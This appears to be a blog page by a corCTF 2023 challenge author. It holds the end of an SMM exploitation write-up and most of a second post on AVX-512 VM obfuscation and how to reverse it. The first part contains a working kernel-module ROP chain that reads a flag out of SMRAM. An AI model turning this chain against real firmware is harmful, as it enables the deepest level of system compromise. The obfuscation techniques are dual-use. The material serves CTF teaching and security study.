</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> PiSmmCoreBase 0x000000007FFEF000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> CorCtfSmmBase 0x0007FF9C000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> DumpHere COMM_BUFFER</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pop_rcx_rbp = PiSmmCpuDxeSmmBase + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x0001044d</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; </span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">//: pop rcx ; pop rbx ; ret ;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pop_rax_rbx = PiSmmCpuDxeSmmBase + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x000105dc</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; </span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">//: pop rax ; pop rbx ; ret ;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> mov_ptr_rcx_rax = PiSmmCpuDxeSmmBase + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x0000fee5</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; </span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">//: mov qword [rcx], rax ; ret ;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> load_rax_gadget = PiSmmCoreBase + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x0000110f</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; </span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// : mov rax, qword [rdi] ; sub rsi, rdx ; add rax, rsi ; ret ; </span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pop_rdx_rsi_rdi = PiSmmCoreBase + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x000019cd</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; </span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// : pop rdx ; pop rsi ; pop rdi ; ret ;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pop_rdi = PiSmmCoreBase + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x000019cd</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ropnop = PiSmmCoreBase + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x000019cd</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> rsm = PiSmmCpuDxeSmmBase + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x000fe89</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> flag_addr = CorCtfSmmBase + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x0002bbc</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">init_exploit</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">void</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
printk(KERN_INFO </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"beginning exploit\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
map_reserved();
send_gadget(pop_rdx_rsi_rdi, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, flag_addr, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(load_rax_gadget, pop_rcx_rbp, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(DumpHere, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(mov_ptr_rcx_rax, ropnop, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(pop_rdi, flag_addr + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">5</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(load_rax_gadget, pop_rcx_rbp, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">6</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(pop_rdi, flag_addr + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">7</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(load_rax_gadget, pop_rcx_rbp, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(DumpHere + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">9</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(mov_ptr_rcx_rax, ropnop, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(pop_rdi, flag_addr + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">11</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(load_rax_gadget, pop_rcx_rbp, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">12</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(DumpHere + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">13</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(mov_ptr_rcx_rax, ropnop, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">14</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(pop_rdi, flag_addr + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">24</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">15</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(load_rax_gadget, pop_rcx_rbp, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(DumpHere + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">24</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">17</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(mov_ptr_rcx_rax, ropnop, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">18</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
send_gadget(rsm, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">19</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
dump_all_notes(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x7ffb6ae8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
printk(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"found SMM flag: %s\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, comm_buffer);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">cleanup_exploit</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">void</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
unmap_reserved();
printk(KERN_INFO </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"leaving exploit\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
module_init(init_exploit);
module_exit(cleanup_exploit);</span></span></p><p> Running the exploit results in:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglABleDVP67cFZ4uDoE6C7DUJ8PNZhAS6HjvAAYGzFGKwlNJyjfLjIxN2Qg-FmBXtHS_92C_w3Yu3lVVbOZAgpd76Cdz2Ap2HS47Zpo-ApX-NUoGwPUuOLY44CqQ3_nlBJpAoKwWAaExKROQWlQ-EEBuvHkVNRblg6AJvG2U8Z9cW3t7WVnsiA0OTVLiYm/s975/pwned.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="920" data-original-width="975" height="604" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglABleDVP67cFZ4uDoE6C7DUJ8PNZhAS6HjvAAYGzFGKwlNJyjfLjIxN2Qg-FmBXtHS_92C_w3Yu3lVVbOZAgpd76Cdz2Ap2HS47Zpo-ApX-NUoGwPUuOLY44CqQ3_nlBJpAoKwWAaExKROQWlQ-EEBuvHkVNRblg6AJvG2U8Z9cW3t7WVnsiA0OTVLiYm/w640-h604/pwned.png" width="640" /></a></div><br /><p></p><p>Ring -2 has been pwned! </p><p>Overall, SMM is quite an interesting target for exploitation and
potential backdoors, especially given just how high its privileges are.
During the CTF, 7 teams managed to solve this, which was around what I
expected for a medium challenge in corCTF’s pwn category. I must mention
that zhuyifei1999 had quite an interesting strategy I have heard about in real world SMM exploits that avoided ROP as
he ended up overwriting SMBASE to be outside SMRAM to control of the entry point (but then had
to deal with the pain of transitioning from 16 to 32 bit). </p><p>As promised, here are some other interesting SMM links I have read through when making this challenge:</p><p><a href="https://www.welivesecurity.com/2022/04/19/when-secure-isnt-secure-uefi-vulnerabilities-lenovo-consumer-laptops/" target="_blank">https://www.welivesecurity.com/2022/04/19/when-secure-isnt-secure-uefi-vulnerabilities-lenovo-consumer-laptops/</a></p><p><a href="https://dreamlayers.blogspot.com/2012/10/dumping-smram.html" target="_blank">https://dreamlayers.blogspot.com/2012/10/dumping-smram.html</a></p><p><a href="http://blog.cr4.sh/2015/07/building-reliable-smm-backdoor-for-uefi.html" target="_blank">http://blog.cr4.sh/2015/07/building-reliable-smm-backdoor-for-uefi.html</a></p><p><a href="https://bostonglobalforum.org/cyber/overall/exploiting-smm-callout-vulnerabilities-in-lenovo-firmware/" target="_blank">https://bostonglobalforum.org/cyber/overall/exploiting-smm-callout-vulnerabilities-in-lenovo-firmware/</a></p><p><a href="https://www.synacktiv.com/en/publications/through-the-smm-class-and-a-vulnerability-found-there" target="_blank">https://www.synacktiv.com/en/publications/through-the-smm-class-and-a-vulnerability-found-there</a></p><p><a href="https://hardwear.io/netherlands-2021/presentation/automated-vulnerability-hunting-in-SMM.pdf" target="_blank">https://hardwear.io/netherlands-2021/presentation/automated-vulnerability-hunting-in-SMM.pdf</a></p><p><a href="https://research.nccgroup.com/2023/03/15/a-race-to-report-a-toctou-analysis-of-a-bug-collision-in-intel-smm/" target="_blank">https://research.nccgroup.com/2023/03/15/a-race-to-report-a-toctou-analysis-of-a-bug-collision-in-intel-smm/</a></p><p><a href="https://research.nccgroup.com/2023/04/11/stepping-insyde-system-management-mode/" target="_blank">https://research.nccgroup.com/2023/04/11/stepping-insyde-system-management-mode/</a></p><p><a href="https://dannyodler.medium.com/attacking-the-golden-ring-on-amd-mini-pc-b7bfb217b437" target="_blank">https://dannyodler.medium.com/attacking-the-golden-ring-on-amd-mini-pc-b7bfb217b437</a></p><p>
</p><p>Feel free to point out any mistakes or ask questions about this writeup!</p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-23063868655964828372023-08-02T17:35:00.010-07:002023-08-02T17:39:44.213-07:00corCTF 2023 vmquack's vectorized vices: VM Obfuscation through AVX-512<p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPKhGs5WKgKcdXubY5QC_1KdSxzWtULmuykVd9ffL4uIdFB1mIE92HqcViNY2Py4jYA-3q-Vu4FFcR0dw5e1gqnUof0q0Ar0nPVuSf3tIs2I6PuLETj7UF1cJ-5FirejB6BPwCp4kFrvj2M56ZUseV4Du2gnwYncIEuMhgSVtloglUsue9jhp1dZjUviPp/s922/crackme1.png" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="813" data-original-width="922" height="564" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPKhGs5WKgKcdXubY5QC_1KdSxzWtULmuykVd9ffL4uIdFB1mIE92HqcViNY2Py4jYA-3q-Vu4FFcR0dw5e1gqnUof0q0Ar0nPVuSf3tIs2I6PuLETj7UF1cJ-5FirejB6BPwCp4kFrvj2M56ZUseV4Du2gnwYncIEuMhgSVtloglUsue9jhp1dZjUviPp/w640-h564/crackme1.png" width="640" /></a></p><p>For the past 2 iterations of corCTF, I’ve written two VM based reversing challenges: <a href="https://www.willsroot.io/2021/08/corctf-2021-vmquack-writeup-writing.html" target="_blank">vmquack</a> and <a href="https://ctftime.org/writeup/35042" target="_blank">vmquack’s revenge</a>.
The first was a handwritten CISC VM inspired by x86, and the latter was
a massive RISC-V inspired VM generated through my own homerolled C
compiler.</p><p>In this year’s edition, my challenge co-author <a href="https://github.com/anematode" target="_blank">anematode</a>
and I took inspiration from a chapter on AVX-512 programming in Daniel Kusswurm's book
Modern Parallel Programming in C++ and Assembly. An
important concept here are mask registers - in AVX-512, one can perform
SIMD instructions on only selected subsegments of each 512-bit ZMM
register through the usage of mask registers. For example, if you
specify certain AVX-512 instructions to use register k1-k7 as a bitmask,
then something of the form <code>op zmmX, zmmY, zmmZ</code> applied at a
64 bit granularity will only apply the operation at the specified
indices in the bitmask and store at the specified indices in the
destination (many of the AVX instructions are of RISC style). Any of the
mask registers can also store data, including k0 despite its
representation as the default no-masking mode for operations, and one
can also specify zero-masking to zero out the indices that are unset in
the bitmask. There’s a lot more to this in regards to performance
programming you can find in the above book or in the Intel SDM, but the
above is the primary concept necessary for understanding this VM
obfuscation scheme.</p><p>Given that each ZMM register can be divided into 8 64 bit registers, I
decided to build a VM obfuscation scheme based around AVX-512 and its
mask registers, where each 64 bit VM register is represented through a
ZMM register and index pair, effectively creating a VM with 256
registers. In contrast to other common VM obfuscation schemes where code
is transformed into non-native bytecode that needs to be interpreted,
I can inline obfuscated code sections "natively" within x86 functions (the CPU must support AVX-512 F, CD,
DQ, and BW though, but players can still run it through the SDE). If this scheme hasn’t been used before, I would like to
name it “avxfuscation,” inspired by the famous movsfuscator.</p><p>As this is a reversing challenge, it wouldn’t make much sense for me
to describe how I solved it as the author. I think it would still be
interesting to discuss some of the emitted obfuscated code sequences, my
strategy for deobfuscation, a brief tldr of solving the challenge
crackme, and the development of the obfuscator.</p><p>We begin by discussing the most common operations that appears in the VM.</p><p>Firstly, the <code>kmovb</code> instruction will appear quite frequently, usually in the form of <code>kmovb kX, byte ptr [bitmask_constant]</code>.
This is the setup for mask registers before VM obfuscated opcodes. As a
VM register is a zmmX register and index pair, the bitmask will usually
only enable one 64 bit element in any given 512 bit register. </p><p>
</p><p>The following sequence is used when storing results from AVX-512
instructions back to globals from zmmX and spilled stack variables (the
VM register pressure should have never gotten high enough to trigger the
latter scenario):</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;">vpcompressq zmm31 {kX}{z}, zmmX
vmovq [mem], zmm31</span></p><p>The first instruction basically compresses the selected qword
elements in the source register (which would generally only consist of 1
element in our VM) into <code>zmm31</code> - note that the zero-masking will zero out the rest of the 7 higher qwords in the destination.</p><p>The same sequence as above is used to handle VM register spills, with the destination of the <code>vmovq</code> replaced with the stack spill address. Restoration back into a VM register can be done with <code>vpbroadcastq</code>
(which broadcasts as the mnemonic implies) with the specified zmmX
index pair as the destination, and the spilled address as the memory
operand source. Similarly, loading a global or a constant (in this
challenge, I encoded all constants as globals too) or a spilled stack
variable for an AVX-512 instruction can be done with the same <code>vpbroadcastq</code> sequence into a temporary VM register. </p><p>For the purposes of this writeup, I will now refer to the <code>zmmX</code> and mask index pair as the VM register pair. <code>zmm30</code> and <code>zmm31</code> were treated as scratch registers in my obfuscator.</p><p>To handle VM register to VM register moves, a <code>vpcompressq</code>
transfers the source VM register pair into a VM scratch register (zmm31
or zmm30), and then broadcasts the scratch register into the
destination VM register pair.</p><p>
</p><p>For most general arithmetic instructions of the CISC form <code>op Y, X</code>, the following sequence is seen:</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;">vpcompressq zmm31 {kX}, zmmX
vpbroadcastq zmm31, xmm31
op zmmY {kY}, zmmY, zmm31</span></p><p>The <code>op</code> in the VM was one of <code>vpmullq</code>, <code>vpaddq</code>, <code>vpsubq</code>, <code>vpandq</code>, <code>vporq</code>, <code>vpxorq</code>, <code>vpsllvq</code>, <code>vpsrlvq</code>, <code>vpsravq</code>
(the last three for variable shifts). This sequence fills all
qword segments of the scratch VM register with the contents of the
source VM register, before being used as the second source operand in
the main AVX-512 arithmetic instruction, effectively emulates the
above CISC instruction form.</p><p>Constant shifts are much simpler, as they can be done directly with the VM register pair and a shift constant using <code>vpsllq</code>, <code>vpsrlq</code>, or <code>vpsraq</code>.</p><p>In this VM, comparisons were of the RISC-style <code>cmp dest, src1, src2</code>
- this made it easier for me to write the obfuscator as a CISC style compare would have necessitated additional work with the RFLAGS register. The
same sequence as the generic arithmetic sequence is used, with <code>op</code> being one of <code>vpcmpeqq</code>, <code>vpcmpneqq</code>, <code>vpcmpltq</code>, <code>vpcmpleq</code>, <code>vpcmpgtq</code>, and <code>vpcmpnltq</code>. These instructions are in the form of: <code>op kX {kY}, zmmZ, zmmW</code>,
where the two zmm registers are the two registers used for comparison
and the first mask stores the result of the SIMD compare based on the
second mask register. The second mask and the first zmm register
represent the VM register pair. Then, the <code>vpbroadcastmb2q zmm31, kX</code>
instruction is used to broadcast the result mask register into qword
elements of the scratch register. If the destination VM register pair’s
index is not 0, the result is shifted in with <code>vpsrlq</code> from the scratch register with the correct mask value; otherwise, <code>vmovdqu64</code> is used. This sequence provides a nice property in which the results of comparisons are always guaranteed to be 0 or 1.</p><p>A similar idea applies to the VM’s jumps. Instead of <code>vpbroadcastmb2q</code> followed by a store, <code>ktestb</code> (the equivalent of a normal <code>test</code> in x86) is used with either <code>jz</code> or <code>jnz</code> along with a potential <code>jmp</code>
(depending on which basic block followed, which my obfuscator laid out
using a min cut max flow algorithm where loop nesting depth equates to
cost). </p><p>
</p><p>Like the VM comparisons, there were also a RISC-style <code>neg</code> and <code>not</code> instruction sequence (Ex. <code>dest = not src</code>, <code>dest = neg src</code>). <code>neg</code> simply involved zeroing out a scratch register with <code>vpxorq zmm31, zmm31, zmm31</code> followed by <code>vpsubq</code> to the VM destination register pair. <code>not</code>
is a bit more interesting, especially as I aimed to preserve the
property of the result being only 0 or 1 like in comparison - my
obfuscation procedure ensured that arguments to the <code>not</code> instruction were always of “boolean” type, which means either 0 or 1 too. After the initial <code>vpcompressq</code> and <code>vpbroadcastq</code> to setup the scratch <code>zmm31</code> register with the contents of the VM source register, the following sequence arose before broadcasting <code>zmm31</code> into the destination VM register:</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;">vpternlogq zmm31, zmm31, zmm31, 0xf
vpxorq zmm30, zmm30, zmm30
vpternlogq zmm30, zmm30, zmm30, 0xf
vpabsq zmm30, zmm30
vpandq zmm31, zmm31, zmm30</span></p><code>vpternlogq</code> is a fascinating instruction. To quote the SDM:<div><br /></div><div>VPTERNLOGD/Q takes three bit vectors of 512-bit length (in the first,
second, and third operand) as input data to form a set of 512 indices,
each index is comprised of one bit from each input vector. The imm8 byte
specifies a boolean logic table producing a binary value for each 3-bit
index value. The final 512-bit boolean result is written to the
destination operand (the first operand) using the writemask k1 with the
granularity of doubleword element or quadword element into the
destination.<p></p>
<p>Basically, the bits of the byte size intermediate acts as a logic
table that is indexed for each bit triplet formed from the three
operands, with the most significant bit coming from the first operand.
Given the bit representation for 0xf and that all three operands
are the same, zmm31 will become complemented. if I’m not mistaken, there are a few other constants that would also work. The sequence of <code>vpxorq</code>, <code>vpternlogq</code> on zmm30 will then set zmm30 to -1 in two’s complement, before having <code>vpabsq</code> convert it back to 1. The <code>vpandq</code> will thus complete the RISC-not.</p>
<p>Division and modulus are quite complex. The general idea is to
use <code>vcvtqq2pd</code> to convert qword integers into double precision floating point, before applying <code>vdivpd </code>and converting back to a qword integer with <code>vcvttpd2qq</code>. Finding the modulo with this result is then trivial with multiplication and subtraction. I first heard of a <a href="https://lemire.me/blog/2017/11/16/fast-exact-integer-divisions-using-floating-point-operations/" target="_blank">trick</a>
similar to this from anematode when attempting to optimize variable
division on x86 - while the latency won’t necessarily be much better,
the reliance on the AVX unit will greatly improve throughput on Intel
CPUs in contrast to how <code>idiv</code> affects the ALU. However, this
VM obfuscation only works if the divisor is not zero, and both the
dividend and divisor fit losslessly within the integer limit for
double-precision floating point (so between -2^53 and 2^53). In that
case, there is no other choice but to revert back to <code>idiv</code>.
The following instruction sequence was used after loading zmm30
with the dividend and zmm31 with the divisor (note that division and
modulus are also in a RISC format in my obfuscator):</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;">vpabsq zmm30 kX, zmm30
vpabsq zmm31 kX, zmm30
vfpclasspd kY {kX}, zmm30, 0x22
vfpclasspd kZ {kX}, zmm31, 0x22
ktestb kY, kZ
jz .edge_div
vcvtqq2pd zmm30, zmm30
vcvtqq2pd zmm31, zmm31
vdivpd zmm30, zmm30, zmm31
vpbroadcastq zmm30, xmm30
vcvttpd2qq zmmDest {kDest}, zmm30
jmp .end_div
.edge_div:
vmovq rax, xmm30
cqo
vmovq gpr, zmm31
idiv gpr
vpbroadcastq zmmDest {kDest}, rax
.end_div:</span></p><p> kX is setup to hold the constants of a special bitmask of the value
0b10101010 - this way, the absolute value only applies to the odd qword
elements in scratch registers storing the divisor and the dividend. <code>vfpclasspd</code>
then tests for properties marked by 0x22 using the same bitmask (before
storing into another mask register) - based on the Intel SDM, 0x22
checks for either positive zero or a denormal value, which means that
the exponent component is zero. Note that this instruction is supposed
to be run on double precision floating point numbers, but we are running
it on integers and would like to check if it can be losslessly stored
in range. The check isn’t exact though, as some valid cases can still be
sent to <code>idiv</code> - if a number is denormal, then either the
exponent is all zeroes (so the number will be <= 2^ 52) or the
leading bit of the mantissa is zero (which if I understand correctly,
the leading bit is always implicitly 1 unless the number is denormal).
Only when writing this writeup, I realized that the zero check should
not be included for the dividend, as then divides by zero would not
trigger an exception, though I guess some additional work with the MXCSR
register could have properly virtualized this behavior. Lastly, in the
obfuscated path, <code>vcvttpd2qq</code> runs on index 0 of zmm30 (which was unaffected by <code>vpabsq</code>) to store the result back in integer form.</p>
<p>Anematode and I also managed to obfuscate array indexing, memory addrof, load, and store instructions in this format. </p>
<p>For qword array indexing, the address is first fetched with an <code>lea</code> into a gpr (general purpose register). Then the index VM-register pair is compressed and broadcasted into <code>zmm31</code>. To store the value into VM register pair Y, we used <code>vpgatherqq zmmY {kY}, [gpr + zmm31 * 8]</code>.
This loads the contents pointed to by the gpr using the array of qword
indices with a scale factor of 8 into zmmY given the mask in kY.</p>
<p>For memory addrof given an index, the array address is first loaded
into a gpr and broadcasted into zmm31. The index is fetched and
broadcasted into zmm30, before being multiplied by 8. A <code>vpaddq</code>
instruction is now used to get the correct memory address given an
index and stored into a destination VM register pair. This allows us to
then perform load and stores using our VM registers too.</p>
<p>Stores and loads are accomplished with <code>vpscatterqq</code> and <code>vpgatherqq</code>
respectively. The gpr representing the base address is set to zero
and the indexing zmm register is filled with the
address that was fetched from the VM register holding the pointer.</p>
<p>We also had support for zeroing and initialization for local arrays. Zeroing can be done with <code>vmovdqu64</code> to the array address, and I started it from sizes of zmmword all the way down to xmmword, before switching to <code>vmovq</code> for qword moves. Initialization can be done by utilizing the same two instructions from above in the manner of <code>memcpy</code> - my obfuscator pre-stored all the necessary data for local array initialization in the .data section.</p>
<p>The last group of instructions to discuss are in regards to calls and
returns. Unfortunately, these could not be obfuscated, but care had to
be taken for calls as I wanted to abide by SYSVABI to preserve
compatibility with external non obfuscated function calls. At the start
of each function call, all the arguments have to be loaded to the
correct VM-register pairs, and the same has to be done before function
calls. Before storing any of the VM-registers to argument
registers, I had to allocate additional stack space to store all zmm
registers that hold VM-registers live across the function call and then
restore these (as I believe these are all considered caller saved in
SYSVABI). Additional care had to be taken when the VM-register storing
the return value resides in one of the spilled ZMM register of a VM
register pair.</p>
<p>Now that I have explained the VM, it is time to devirtualize it. My intended devirtualization path last year would have just been “write a
decompiler plugin in SLEIGH or Binary Ninja LLIL” - while such a task is
educational, doing that again is just tedious. Another weakness with
the strategy is that users unfamiliar with the API’s intricacies would
fail to capture a VM’s architectural complexities (and sometimes the API
might not even be capable of doing so).</p>
<p>One observation I made are that most AVX-512 instructions are quite
long - perhaps I can just pattern match the obfuscated disassembly and
patch it back into a deobfuscated binary! This is actually quite a
common (but naive) approach people take when deobfuscating production
virtualization engines like <a href="https://whereisr0da.github.io/blog/posts/2021-02-16-vmp-3/" target="_blank">VMProtect</a> or older versions of <a href="https://github.com/st4ckh0und/AntiOreans-CodeDevirtualizer/blob/main/Masters%20Thesis.pdf" target="_blank">Themida</a>.
